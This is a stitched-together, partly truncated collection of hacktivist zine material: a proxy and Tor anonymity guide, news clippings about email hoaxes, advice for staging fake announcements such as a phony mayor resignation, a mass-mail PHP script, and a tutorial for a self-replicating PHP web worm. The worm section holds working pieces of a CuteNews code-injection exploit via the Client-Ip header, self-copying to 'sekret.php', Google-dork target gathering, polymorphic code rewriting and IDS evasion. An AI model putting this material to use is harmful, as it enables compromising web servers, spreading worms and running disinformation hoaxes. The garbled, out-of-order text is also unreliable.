Before starting this section I assume the reader is familiar wi

programming theory, viral theory and several (script) languages, c++, Pascal, Vbs, Js, batch and some assembler would help too. All examples will be in 16-bit assembler, since these are mainly for purposes, their outdated nature will nearly automatically SK-P: anyone familiar with 16/32-bit assembler can convert the exam win32 platform.

This section will contain viral code. I am not responsible for by any of these programs, nor do I promote releasing them. I have Code Practice in several sections as follows:

- I) Simple Exe Virii
- II) Batch Virii
- III) Script Virii
- IV) Moderate ExeVirii/Worms
- V) Concept Virii

(Sample code can be found online at <http://www.hackthissite.org>)

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The creation of anonymous networks like Tor based on asymmetric cryptography and onion routers do make traditional proxy services old fashioned, but traditional anonymous proxy services are still used for IRC, jump boxes, and general internet tomfoolery, despite honeypots.

A proxy is a piece of software that makes requests on behalf of remote resources. This article goes into short, practical summary of prevalent proxy protocols available across the internet. Authentication procedures are mostly ignored, since open proxies are used and to keep the article short and practical.

today. "It's phony, and we have referred it to the FBI," said C Noelle Gaffney. The e-mail, headlined "Riders Don't Pay, Worker did not originate with the CTA, and there will be no fare holiday," said.

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After an invitation to test the security of several of their systems, they proceeded to root each of them and showed them how it was done. At the time they were curious and interested as to how their systems were hacked. After Jeremy's place was raided by the FBI, the white hats got their true colors, starting to call us 'cyber-criminals' and 'e-vandals' and started to work with the FBI and ProtestWarrior to harass, and incriminate members of our group. By aiding the forces to destroy the hacking movement, Chicago "2600" has lost all credibility as a public hacking group.

Over a period of months, several self-appointed Chicago 2600 activists acted in ways which endanger other hackers, abuse their power, and undermine the spirit of hacking in general.

- * Turned over logs and other information to narc to people's best successful intent to get people fired.
- * Has worked with law enforcement to provide testimony and free surveillance to aid the FBI's chances of conviction as well as the right-wing group ProtestWarrior to do counter-intelligence and propaganda campaigns
- * Repeatedly censor and prevent people from posting to the public when they don't agree with the posts or want to hide some of their doing.
- * Run a secret email list for those who "make the real decisions for the group", which they have used to badmouth and conspire against others

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}  
fclose($handle); ?><br><br>done altogether!
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"France's Youth Battles Also Waged on the Web"
Washington Post, November 10, 2005

While riot police are attempting to curb the gangs that have bled to cars and buildings in France's poor suburban communities for weeks, French officials have only just begun the struggle to clear an amorphous battleground: cyberspace.

Internet blogs have become so vicious and intense that police investigations against two teenagers for inciting violence on a station-sponsored blogs. Hackers took over the Web site of the suburb of Clichy-sous-Bois, where the first violence began Oct 11. They dispatched thousands of fake e-mails announcing the mayor's resignation. Gangs have used text messaging on their cell phones as early warning alert members about the movements of riot police during operations in the communities, gang members said in interviews.

"CTA asks feds to probe e-mail hoax"
Chicago Tribune, December 14th 2004

The Chicago Transit Authority today asked the FBI to investigate the media outlets early this morning, falsely announcing free CTA service to the public on Wednesday.

The so-called press release went out under CTA President Frank Johnson. It was received by the Tribune and other news media at 3 a.m. It announced pending service cuts, and "in the spirit of the holidays" announced "Free Travel" on buses and trains beginning 5 a.m. Wednesday.

Nothing could be further from the truth, officials of the transit authority said.

=== CGI Proxies ===

CGI proxies simply fetch web pages and occasionally FTP or other services based on user-supplied input, which is usually just a GET variable. For example:

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http://foo.bar/p.php?url=http://www.hackthissite.org/  
The reliability and transfer rates of these services are often poor. They can be easily strung together directly from the URL in many cases. For example:  
http://foo.bar/p.php?url=http://bar.foo/url.cgi?u=http://www.hackthissite.org/  
Many language translators also function in this capacity, but usually they do not. They often send an X-Forwarded-For header identifying the sender's IP address.
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=== HTTP Proxies ===

HTTP Proxies are pretty simple. The client sends a regular HTTP request to the proxy server with an absolute URI. Therefore, what would normally be:

```
GET / HTTP/1.1  
Host: www.hackthissite.org
```

when connecting directly to the hackthissite.org server becomes:

```
GET http://www.hackthissite.org/  
Host: www.hackthissite.org
```

when connecting through a proxy. A blank line after the last header is required at the end of the request (unless a Content-Length has been specified, which is typical for a POST). The request then goes right on through as if the destination had been directly connected to. Easy.

Unfortunately, some http proxies are configured to send certain identifying information to the remote systems.

- * Transparent proxies send the client IP address in the X-Forwarded-For header and other headers affirming the use of a proxy server.
- * Anonymous proxies send out headers stating that the server does not send out the client's IP address.
- * High anonymity, or "elite" proxies don't send out any information identifying the service as a proxy to the destination.

=== HTTP CONNECT ===

Connect proxies were created as an extension to HTTP proxies and establishing persistent connections for protocols such as IRC. relatively simple as well. For instance:

```
CONNECT irc.hackthissite.org:6667 HTTP/1.1
```

will establish a connection to the HTS IRC server on port 6667 reply with an HTTP-formatted status message, and if the request data can be sent and received freely. Because connect is an extension of the HTTP protocol, adding extra lines like a Host or a User-Agent header is fine, but for most purposes is unnecessary.

=== SOCKS4 ===

Socks4a is an extension to the original socks4 to provide DNS resolution on the proxy side. First, the client sends a request like so:

- * \x04 - socks4 version identifier
- * \x01 - command; 1 is connect
- * \x00\x50 - port expressed as 16 bit big endian: \x00\x50 will do.
In Perl, pack("n", \$port) will convert the integer \$port to big endian.
- * \xc0\xa8\x06\x47 - 4 bytes specifying the destination IPv4 address. The 4 bytes shown would equate to 192.168.6.71. Use \x00\x00\x00\x00 if the proxy is to do the DNS lookup itself. (Any non-zero for the destination will do.)
- * rawr\x00 - null-terminated USERID string, these are occasionally used for IP addresses or IDENT replies as a primitive form of authentication. Most of the time this string is ignored, so put anything here.
- * hackthissite.org\x00 - null-terminated domain name, just a valid IP was provided earlier

The socks4 server then sends a reply like so:

- * \x00 - version of the reply code, should always be 0
- * \x5A - request granted
OR \x5B - rejected or failed
OR \x5C - rejected because can't connect to identd on the

coordinate with other national actions, events, protests. find out what will already be on people's mind and add fuel to the flames.

cause electronic disruption: announce a phony mayor resignation, a boss announcing raises for everybody, give people discounts for internet or public transit services.

make mass announcements to mainstream and independent media to get the word out. write a well formatted press announcement look up and contact other members of the press. mass communication(gather media, send mass emails, post to indymedia, upload files to p2p networks, find other popular archive sites.

cover your tracks, never use the same name twice, don't compromise your hats or sellouts, embrace a diversity of tactics, have fun and

Mass Mail Script: drop on a box and create a newline-separated list of email addresses to major newspapers, television and radio stations, congress

```
<?php
$fromemail = "Name Here <never@guess>";
$subject = "insert subject here!";
$message = "insert\nmessage\nhere!";
$handle = fopen("emails.txt", "r");
while (!feof($handle)) {
    $buffer = fgets($handle, 4096);
    if ($buffer != "" AND $buffer != "\n") {
        echo "Send to $buffer...\n";
        $a = mail ($buffer, $subject, $message, "From: $fromemail");
        if ($a == false) echo "<font color=\"red\">Bad!</font> \n";
        echo "Done.<br>";
    }
}
```

blacklisted and killing the worm. inurl might find a lot of pa
works as well. Consider randomizing the user-agent of your htt
integrating multiple search engine support to keep them confus
duration of the worm.

Develop methods of communicating with past and future iteratio
feeding it locations of attacked boxes. A decentralized method
communication can also help the worm adapt itself by discoveri
exploits or being fed new attack vectors.

**** Final Words ****

World Cant Wait was developed as a simple proof-of-concept in
writing web based worms that spread through vulnerable php scr
worm code was not designed to trash systems (the above code wo
without some modification) the concepts can be used to deliver
payloads. Script kiddie worms have in the past been used to ga
harvest passwords, or ddos major systems, while others have ac
patched the security hole of the vulnerable software. Others a
idea of making mass amounts of posts on guestbooks, blogs, and
google bomb and manipulate google and other spidering systems.
are endless, and the real genius is in creativity.

Most people interested in advanced coding exercises such as wr
motivated by the challenge of actually developing efficient co
art of gathering targets and exploiting them. There is no grea
beautiful coding exercise for efficiency and complexity than c
if writing code can be considered a criminal act in the eyes o
interest in this beautiful art has been around for decades and
remain a part of hacker culture as long as we are able to deve
secure and responsible way.

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OR \x5D - rejected because identd and the client report dif
* \x00\x50 - destination port, ignore
* \xc0\xa8\x06\x47 - destination IP, ignore
After these steps write directly to the socket as if the client
connected.

=== SOCKS5 ===

Socks5 was developed to provide both UDP and TCP, strong authen
and IPv6 from the ground up. First off, the client sends a vers
identifier/method selection message:

- * \x05 - socks5 version identifier
- * \x01 - number of methods to try; for our purposes, one will
- * \x00 - methods; \x00 is no authentication required

The server will then reply:

- * \x05 - socks5 version identifier
- * \x00 - selected method; if this is \xff then the client mus

If everything went well, the client then sends a socks5 request

- * \x05 - socks5 version identifier
- * \x01 - command (\x01 for connect)
- * \x00 - reserved, leave null for now
- * \x01 - address type, \x01 for IPv4
 - OR \x03 - for a domain name
 - OR \x04 - for IPv6
- * \xc0\xa8\x06\x47 - 4 octets specifying the address for IPv4
 - OR 16 octets for an IPv6 address
 - OR 1 byte specifying the string length then the domain name
- * \x00\x50 - destination port, \x00\x50 is port 80

The server replies with:

- * \x05 - socks5 version
- * \x00 - reply field, \x00 for successful
 - OR \x01 for general socks server failure
 - OR \x02 for connection not allowed
 - OR \x03 for network unreachable
 - OR \x04 for host unreachable

```

OR \x05 for connection refused
OR \x06 for time to live expired
OR \x07 for command not supported
OR \x08 for address type not supported
OR \x09 to \xff for unassigned
* \x00 - reserved, always \x00
* \x01 - address type, same values as in request
* \xc0\xa8\x06\x47 - bound address
* \x00\x50 - bound port, doesn't really matter for a connect
Then the transaction continues as if the client were directly

```

=== Chains, Final Notes ===

For added anonymity, multiple proxies can be strung together in as chaining. In proxy chains, the client instructs proxy server subsequent proxy servers until the destination. This technique improve anonymity, but may decrease throughput and increase latency.

Interestingly, Tor is nothing more than a socks4a proxy service client is concerned, which brings in the possibility of using it as just another link in a chain. Extending Tor exit nodes with also opens up the possibility of getting around Tor restrictions networks while maintaining encryption and anonymity, as it is more difficult to block Tor than to block the massive number of open proxies on the internet especially those on non-standard ports.

Reader, beware. Many proxies are run by phishers, over-zealous administrators, or law enforcement agencies that log everything. More than one layer of anonymity and never send unencrypted personal information through public proxy servers.

<http://proxy-glue.sourceforge.net/>

```

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```

similarities. In addition to changing the names of variables in code, you can also express values of numbers and strings in different ways.

```

$random++;           ->      $random+= -2 + 3;
$start = "go";       ->      $start = chr(103) . chr(111);
$num = count($result); ->    $num = sizeof($result);

```

The following bit of code published in 29a rewrites the source code variable names.

```

<?php
$changevars=array('changevars', 'content', 'newvars', 'counti',
'trash');
srand((double)microtime()*1000000);
$content=fread(fopen(__FILE__,'r'),filesize(__FILE__));
$counti=0;
while($changevars[$counti]) {
    $content=str_replace($changevars[++$counti], trash('',0), $content);
}
fwrite(fopen(__FILE__,'w'],$content);

function trash($newvar, $countj) {
    do { $newvar.=chr(rand(97,122)); } while (++$countj<rand(5,15));
    return $newvar;
}
?>

```

Randomizing data sent in the http request, making it less predictable. You can include and choose a random user-agent making it look like real traffic. You can adjust the actual POST data so that they aren't all using the same data for each form name (like the above cutenews example).

If your worm depends on a search engine like google to gather traffic, it may be worth considering diversifying your queries as to reduce the

looking at the returned URLs.

```
$fp = fsockopen("google.com", "80");
fwrite($fp, "GET /search?q=" . urlencode($query) .
"&sourceid=mozilla-search&start=0&start=0&ie=utf-8&oe=utf-8&cl
=org.mozilla:en-US:official HTTP/1.1\r\n
Host: www.google.com\r\n
User-Agent: Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-0; en
Gecko/20050511/1.0.4\r\n
Accept:
text/xml,application/xml,application/xhtml+xml,text/html;q=0.9
image/png,*/*;q=0.5\r\n
Accept-Language: en-us,en;q=0.5\r\n
Accept-Encoding: gzip,deflate\r\n
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\n
Connection: close\r\n\r\n");
while (!feof($fp) AND (strpos($text, "2005 Google") === fals
    $text.= fgets($fp);
}
fclose($fp);

while (!(strpos($text, "<a href=\"http://\"") === false)) {
    $starttext = substr($text, strpos($text, "<a href=\"http://
    $thenumber = substr($starttext, 0, strpos($starttext, "\"")
    $text = str_replace("<a href=\"".$thenumber.">", "x", $text)
    if (strpos($thenumber, "google") === false) $vuln[] = $the
}
print_r($vuln);
```

**** Evading IDS, Polymorphism, and Communication ****

You can adjust the source of the program on the fly by making
replaces in the code for each new iteration of the worm. PHP a
have several function aliases that can be swapped to produce t
Consider adding extraneous PHP code as trash to confuse file s

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Tor is the Onion Routing Protocol, a project being developed by
Freedom Frontier (EFF) for anonymity and privacy protection on
breaks up your packets and spreads them over the entire Tor net
to end points around the world, where they are reassembled and
intended destination. Tor can be used to protect your identity
the web, chatting, or when doing super fun no-no stuffs ;D.

First, install Tor. Tor is available from the EFF, at tor.eff.
on your OS of choice. You'll also probably want Privoxy, instr
configuring your HTTP Proxy (privoxy) to use a SOCKS proxy (tor
website.

To use Tor to anonymize your web browsing, open your browsers p
If you're using both Tor and Privoxy you'll want to point your
localhost, port 8118. If you're using Firefox, you'll want to c
says "Use the same proxy for all protocols." If you're not usi
Tor), set your SOCKS v4 proxy to localhost, port 9050. Check i
going to http://whatismyip.com. (a note for Firefox users: the
Firefox extension called ProxyButton. It allows you to toggle
off quickly from your toolbar. I recommend this extension if y
webhacking ;D)

You can set up other applications to route traffic through tor.
proxies through localhost port 9050. But sometimes you may wan
an application that does not have SOCKS support, that's where s
handy. Socat is a useful tool for dealing with socket connecti
I've written a quick script, called torbind to handle socat for

```
#!/bin/bash
```

```
# Usage: ./torbind [local port] [remote host] [remote port]
```

```
socat TCP4-LISTEN:$1,fork SOCKS4A:localhost:$2:$3,socksport=905
```

Say we want to telnet to a remote host over tor. Using socat

```
$ ./torbind 1337 h4x3db0x0r.com 12345&; telnet localhost 1337
Connected to h4x3db0x0r.com port 12345.
Password?:
```

or IRC:

```
$ ./torbind 7000 irc.hackthissite.org 7000&; irssi
/server -ssl localhost 7000
```

You can route any port on local host to any port on any destination. You can figure out how to use this on your own ;D.

Say your hacking on the road. You need to use a library or utility to do some serious business. You can't install Tor due to censorship or just due to time. A nice quick n' dirty way of getting anonymous is to use an SSH tunnel. Any SSH client can route traffic through a tunnel to your ssh server. If you have Tor and Privoxy running, you can route your traffic out through that. In Linux or MacOS, here's an example:

```
user@localhost $ ssh -L12345:localhost:8118 user@remotehost.com
Password:
user@remotehost.com $
```

Back at localhost you can now set your http proxies to localhost. Traffic will bounce through your ssh session to your server, and you'll have complete quick anonymity.

In windows, you can set up an SSH tunnel using PuTTY.

In PuTTY Config, under SSH, go to Tunnels and Add a new forwarded source port, like above something arbitrary, say 12345. Destination

the URL to an HTTP GET request to execute itself on another server

```
$fp = fopen("sekret.txt", "w");
fwrite($fp, file_get_contents($_SERVER['PHP_SELF']));
fclose($fp);
$url = $_SERVER['SCRIPT_URI'];
make_request($domain, "GET /test.php?path=$url HTTP/1.1\r\nHost:
$domain\r\nConnection: close\r\n\r\n");
```

Other Infection Method: SQL

Other Infection Method: JavaScript / XSS

**** 3. Target Gathering ****

During the development of the worm, it would be wise to separate exploit code from the target gathering code. Test on your own machine LAN using code similar to:

```
function gather_targets() {
    return array("http://localhost/cutenews");
}
```

For the purposes of web based worms, it makes sense to use search engines in order to extract potential targets. You can easily write a few scripts to produce URLs to sites running specific software. This can be achieved using page scraping code to generate an array of targets which can be used by the worm for infection.

```
$search = array("inurl:flood.db.php", "\"powered by cutenews
\"/cutenews/remote_headlines.php\"", "\"powered by CuteNews\
CutePHP\"", "inurl:\"/newsarchive.php?archive\"");
$query = $search[rand(0, count($search)-1)];
```

You can scrape results from major search engines by making HTTP

```
Connection: close
Host: $domain
```

```
name=haxitup&mail=&comments=j00+haxed+%3Alaughing%3A&submit=Ad
subaction=addcomment&ucat=&show=
```

```
";
```

If we make a couple of these requests, it will write the PHP c to flood.db.php. Then we can call flood.php from a standard GE execute the code. Now that we can automate the process of exec a given server, we can start thinking about some code that wil worm as well as delivering our payload. This example will copy code to 'sekret.php' on the vulnerable server, ready to be run payload at the end of Client-Ip, from running sekret.php to ad top of news.txt which will make a news post on every vulnerabl ;)

```
$source = str_replace("\$", "\\\$",str_replace("\"", "\\\"",st
"\\\\",file_get_contents($_SERVER['PHP_SELF']))));
```

```
...
```

```
Client-Ip: <?php \ $fp=fopen(\"sekret.php\", \"w\");fwrite(\ $fp
\"$source\");fclose(\ $fp); ?>\r\n ...
```

```
...
```

```
for ($i=0;$i<2;$i++) { $bob = make_request($domain, $packet);
make_request($domain, "GET $location/data/flood.db.php HTTP/1.
$domain\r\nConnection: close\r\n\r\n");
```

Other Infection Method: PHP Inclusion

It is not difficult to automate the process of PHP include rel vulnerabilities either. Poorly written PHP scripts commonly ha similar to <?php include \$page; ?>, which is vulnerable in man remote PHP code execution by passing the URL to a bit of PHP c variable 'page'. Our worm can copy itself to some place on the

localhost:8118 (for Privoxy, without privoxy, use port 9050, fo connect to your SSH server, authenticate, and you should be abl HTTP or SOCKS proxy to localhost, port 12345.

You also configure the unix command line ssh client to bounce t Install connect.c at /usr/local/bin/connect and add the followi ssh_config file. Alternatively, you can write shell scripts to process of alternating between tor ssh and non tor ssh.

```
Host *
```

```
ProxyCommand /usr/local/bin/connect -4 -S 127.0.0.1:9050 %h %p
(needs to have /usr/local/bin/connect )
```

```
sshtor.sh:
```

```
#!/bin/bash
cp /sw/etc/ssh/ssh_config.tor /sw/etc/ssh/ssh_config
```

```
sshnontor.sh:
```

```
#!/bin/bash
cp /sw/etc/ssh/ssh_config.nontor /sw/etc/ssh/ssh_config
```

```
!!!!!!!!!!!!!!!!!!!!
!!! ACTION !!!
!!!!!!!!!!!!!!!!!!!!
```

```
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```

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**** Introduction ****

This article uses some specific examples from an unreleased worm that spread itself through vulnerable php scripts. The worm is called 'CuteNews' and would post an announcement of the November 2nd Drive Out to the streets protests on thousands of message boards and blog engines. The worm is a result of a private vulnerability but the techniques described here use a disclosed php code execution vulnerability in CuteNews 1.4. We decided to go around with automating this exploit to find targets and replicate the exploit as a programming exercise while we were toying with the idea of covering our tracks in the buildup to the protests to get people to the streets and participate in the movement. In the end we decided that instead of risking legal action and trashing a bunch of systems, we would strengthen our movement by releasing the techniques and release the code in modules to help arm future revolutionaries.

Although we left some intentional bugs and took portions of the code snippets below can be used to build a destructive worm. Recognize the implications of getting involved with such actions and don't mistake the violent and destructive hackers the media tries to paint us as the genius of a worm is in writing the code itself, not how much damage it can mess with. So let's get to it, and remember - coding is not a

**** Automation ****

Find a vulnerability and write a self-automated target gathering and exploitation engine. Web based vulnerabilities are predictable and can be exploited through search engines fairly easily, and can be exploited by forging a series of HTTP requests.

```
while ($stop == false) {
    $list = gather_targets();
    for ($i=0;$i<count($list);$i++) {
        echo " [x] targetting $list[$i]...\n";
        if (!is_infected($list[$i])) infect($list[$i]);
    }
}
```

```
}
$stop = true;
}
```

In order to have a web based worm spread, you need to automate the process. This can be done by using PHP's socket functions to establish connections to the web server and sending http data. This function shows how a PHP script can connect to a server, send data, and return

```
function make_request($domain, $packet) {
    $fp = @fsockopen($domain, 80, $errno, $errstr, 10);
    if (!$fp) return false;
    fwrite($fp, $packet);
    while (!feof($fp)) $text.= fgets($fp);
    fclose($fp);
}
```

Then it is just a matter of forging a proper HTTP request which exploits the vulnerability and get it to run a copy of itself on the infected server. CuteNews writes information to data/flood.db.php when someone posts a news article. You can insert PHP code to this file by passing a Client-Ip HTTP header.

```
$packet = str_replace("\n","\n\r",
"POST
$location/example2.php?subaction=showcomments&id=1128188313&arcid=1128188313
&ucat=& HTTP/1.1
Accept: */*\r\nAccept-Language: en
Accept-Encoding: gzip, deflate
Client-Ip: <?php echo \"arbitrary php code to be executed!!\";
User-Agent: Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/128.0 (KHTML, like Gecko) Safari/412.2
Content-Type: application/x-www-form-urlencoded
Content-Length: 107
```